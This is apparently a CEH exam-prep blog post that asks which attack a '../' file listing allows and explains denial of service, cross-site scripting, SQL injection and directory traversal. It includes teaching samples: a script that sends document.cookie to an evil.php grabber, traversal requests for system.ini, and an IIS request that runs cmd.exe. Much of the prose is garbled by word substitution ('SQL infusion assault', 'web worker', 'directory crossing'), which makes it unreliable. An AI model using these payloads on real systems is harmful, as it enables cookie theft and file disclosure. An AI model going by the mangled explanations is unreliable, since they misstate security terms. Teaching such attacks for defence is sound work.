application

While testing a web application in development, you notice that the web server does not properly ignore the “dot dot slash” (../) character string and instead returns the file listing of a folder structure of the server. What kind of attack is possible in this scenario?

Leave a Comment / CEHv11 / By

While testing a web application in development, you notice that the web server does not properly ignore the “dot dot slash” (../) character string and instead returns the file listing of a folder structure of the server.
What kind of attack is possible in this scenario?

Option 1 : Denial of service
Option 2 : Cross-site scripting
Option 3 : SQL injection
Option 4 : Directory traversal

 

1. Denial of service

The Denial of Service (DoS) attack is targeted on creating a resource (site, application, server) out of stock for the aim it had been designed. There are some ways to create a service out of stock for legitimate users by manipulating network packets, programming, logical, or resources handling vulnerabilities, among others. If a service receives a really sizable amount of requests, it should stop to be obtainable to legitimate users. within the same means, a service could stop if a programming vulnerability is exploited, or the means the service handles resources it uses.

Sometimes the assailant will inject and execute absolute code whereas playing a DoS attack so as to access essential info or execute commands on the server. Denial-of-service attacks considerably degrade the service quality veteran by legitimate users. These attacks introduce giant response delays, excessive losses, and repair interruptions, leading to direct impact on accessibility.

Examples
DoS User such Object Allocation

If users will offer, directly or indirectly, a worth that may specify how many of AN object to form on the applying server, and if the server doesn’t enforce a tough higher limit thereon worth, it’s potential to cause the setting to run out of obtainable memory. The server could begin to portion the required the such the desire variety of objects specified, however if this is often a particularly sizable amount, it will cause serious problems on the server, probably filling its whole obtainable memory and corrupting its performance.

The following is a simple example of vulnerable code in Java:

String TotalObjects = request.getParameter(“numberofobjects”); int NumOfObjects = Integer.parseInt(TotalObjects); ComplexObject[] anArray = new ComplexObject[NumOfObjects];  // wrong!

DoS Failure to unharness Resources

If a slip happens within the application that stops the discharge of an in-use resource, it will become untouchable for more use. potential examples include:

  • An application locks a file for writing, so an exception happens however doesn’t expressly shut and unlock the file
  • Memory leaky in languages wherever the developer is answerable for memory management like C & C++. within the case wherever a slip causes traditional logic flow to be circumvented, the allotted memory might not be removed and should|and will be left in such a state that the rubbish collector doesn’t realize it should be saved
  • Use of sound unit affiliation objects wherever the objects aren’t being freed if associate degree exception is thrown. variety of such perennial requests will cause the applying to consume all the sound unit connections, because the code can still hold the open sound unit object, ne’er cathartic the resource.
DoS Buffer Overflows

Any language where the developer has direct responsibility for managing memory allocation, most notably C & C++, has the potential for a Buffer Overflow. While the most serious risk related to a buffer overflow is the ability to execute arbitrary code on the server, the first risk comes from the denial of service that can happen if the application crashes.

The following is a simplified example of vulnerable code in C:

void overflow (char *str) {    char buffer[10];    strcpy(buffer, str); // Dangerous! }

int main () {   char *str = “This is a string that is larger than the buffer of 10”;   overflow(str); }

If this code example were dead, it’d cause a segmentation fault and dump core. the explanation is that strcpy would Associate in copy fifty three characters into an array of ten parts solely, overwriting adjacent memory locations. whereas this instance on top of is a very straightforward case, the fact is that in an exceedingly internet primarily based application there could also be places wherever the user input isn’t adequately checked for its length, creating this type of attack doable.

DoS Storing an excessive amount of knowledge in Session

Care should be taken to not store an excessive amount of knowledge in an exceedingly user session object. Storing an excessive amount of data within the session, like massive quantities of knowledge retrieved from the information, will cause denial of service problems. This downside is exacerbated if session knowledge is additionally caterpillar-tracked before a login, as a user will launch the attack while not the necessity of associate degree account.

2. Cross-site scripting

Cross-Site Scripting (XSS) attacks are a sort of injection, during which malicious scripts are injected into otherwise benign and trustworthy websites. XSS attacks occur once associate degree assaulter uses an online application to send malicious code, typically within the variety of a browser aspect script, to a special user. Flaws that enable these attacks to succeed are quite widespread and occur anyplace an online application uses input from a user at intervals the output it generates while not confirmative or cryptography it.

An assaulter will use XSS to send a malicious script to associate degree unsuspecting user. the top user’s browser has no thanks to recognize that the script mustn’t be trustworthy , and can execute the script. as a result of it thinks the script came from a trustworthy supply, the malicious script will access any cookies, session tokens, or different sensitive data preserved by the browser and used therewith web site. These scripts will even rewrite the content of the HTML page.

Attack Examples : Cookie unpleasant person

If the applying doesn’t validate the computer file, the assaulter will simply steal a cookie from associate degree attested user. All the assaulter must do is to put the subsequent code in any announce input(ie: message boards, personal messages, user profiles):

<SCRIPT type=”text/javascript”>var adr = ‘../evil.php?cakemonster=’ + escape(document.cookie);</SCRIPT>

The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in “cakemonster” variable. The attacker then checks the results of their evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.

3. SQL injection

SQL infusion is a web security weakness that permits an aggressor to meddle with the questions that an application makes to its information base. It for the most part permits an aggressor to see information that they are not regularly ready to recover. This may incorporate information having a place with different clients, or whatever other information that the actual application can get to. As a rule, an assailant can adjust or erase this information, making persevering changes the application’s substance or conduct.

In certain circumstances, an aggressor can raise a SQL infusion assault to bargain the hidden worker or other back-end foundation, or play out a forswearing of-administration assault.

What is the effect of a fruitful SQL infusion assault?

An effective SQL infusion assault can bring about unapproved admittance to delicate information, for example, passwords, Mastercard subtleties, or individual client data. Some prominent information breaks as of late have been the aftereffect of SQL infusion assaults, prompting reputational harm and administrative fines. Sometimes, an aggressor can get a diligent indirect access into an association’s frameworks, prompting a drawn out trade off that can go unnoticed for an all-inclusive period.

SQL infusion models

There are a wide assortment of SQL infusion weaknesses, assaults, and procedures, which emerge in various circumstances. Some basic SQL infusion models include:

  • Retrieving concealed information, where you can change a SQL inquiry to restore extra outcomes.
  • Subverting application rationale, where you can change an inquiry to meddle with the application’s rationale.
  • UNION assaults, where you can recover information from various data set tables.
  • Examining the data set, where you can remove data about the form and design of the data set.
  • Blind SQL infusion, where the aftereffects of an inquiry you control are not returned in the application’s reactions.
4. Directory crossing

Appropriately controlling admittance to web content is significant for running a safe web worker. Index crossing or Path Traversal is a HTTP assault which permits aggressors to get to limited catalogs and execute orders outside of the web worker’s root registry.

Web workers give two primary degrees of security instruments

  • Access Control Lists (ACLs)
  • Root index

An Access Control List is utilized in the approval cycle. It is a rundown which the web worker’s manager uses to show which clients or gatherings can get to, change or execute specific records on the worker, just as other access rights.

The root registry is a particular index on the worker record framework in which the clients are kept. Clients can’t get to anything over this root.

For instance: the default root registry of IIS on Windows is C:\Inetpub\wwwroot and with this arrangement, a client doesn’t approach C:\Windows yet approaches C:\Inetpub\wwwroot\news and some other indexes and documents under the root catalog (given that the client is confirmed by means of the ACLs).

The root index keeps clients from getting to any documents on the worker, for example, C:\WINDOWS/system32/win.ini on Windows stages and the/and so on/passwd record on Linux/UNIX stages.

This weakness can exist either in the web worker programming itself or in the web application code.

To play out a registry crossing assault, all an assailant requires is an internet browser and some information on where to aimlessly discover any default documents and registries on the framework.

What an assailant can do if your site is defenseless

With a framework defenseless against index crossing, an aggressor can utilize this weakness to venture out of the root catalog and access different pieces of the record framework. This may enable the assailant to see confined documents, which could give the aggressor more data needed to additional trade off the framework.

Contingent upon how the site access is set up, the aggressor will execute orders by mimicking himself as the client which is related with “the site”. Along these lines everything relies upon what the site client has been offered admittance to in the framework.

Illustration of a Directory Traversal assault by means of web application code

In web applications with dynamic pages, input is generally gotten from programs through GET or POST solicitation techniques. Here is an illustration of a HTTP GET demand URL

GET http://test.webarticles.com/show.asp?view=oldarchive.html HTTP/1.1

Host: test.webarticles.com

With this URL, the browser requests the dynamic page show.asp from the server and with it also sends the parameter view with the value of oldarchive.html. When this request is executed on the web server, show.asp retrieves the file oldarchive.html from the server’s file system, renders it and then sends it back to the browser which displays it to the user. The attacker would assume that show.asp can retrieve files from the file system and sends the following custom URL.

GET http://test.webarticles.com/show.asp?view=../../../../../Windows/system.ini HTTP/1.1

Host: test.webarticles.com

This will cause the dynamic page to retrieve the file system.ini from the file system and display it to the user. The expression ../ instructs the system to go one directory up which is commonly used as an operating system directive. The attacker has to guess how many directories he has to go up to find the Windows folder on the system, but this is easily done by trial and error.

Example of a Directory Traversal attack via web server

Apart from vulnerabilities in the code, even the web server itself can be open to directory traversal attacks. The problem can either be incorporated into the web server software or inside some sample script files left available on the server.

The vulnerability has been fixed in the latest versions of web server software, but there are web servers online which are still using older versions of IIS and Apache which might be open to directory traversal attacks. Even though you might be using a web server software version that has fixed this vulnerability, you might still have some sensitive default script directories exposed which are well known to hackers.

For example, a URL request which makes use of the scripts directory of IIS to traverse directories and execute a command can be

GET http://server.com/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:\ HTTP/1.1

Host: server.com

The request would return to the user a list of all files in the C:\ directory by executing the cmd.exe command shell file and run the command dir c:\ in the shell. The %5c expression that is in the URL request is a web server escape code which is used to represent normal characters. In this case %5c represents the character \.

Newer versions of modern web server software check for these escape codes and do not let them through. Some older versions however, do not filter out these codes in the root directory enforcer and will let the attackers execute such commands.

Learn CEH & Think like hacker

This Blog Article is posted by

Infosavvy, 2nd Floor, Sai Niketan, Chandavalkar Road Opp. Gora Gandhi Hotel, Above Jumbo King, beside Speakwell Institute, Borivali West, Mumbai, Maharashtra 400092

Contact us – www.info-savvy.com

https://g.co/kgs/ttqPpZ

Leave a Comment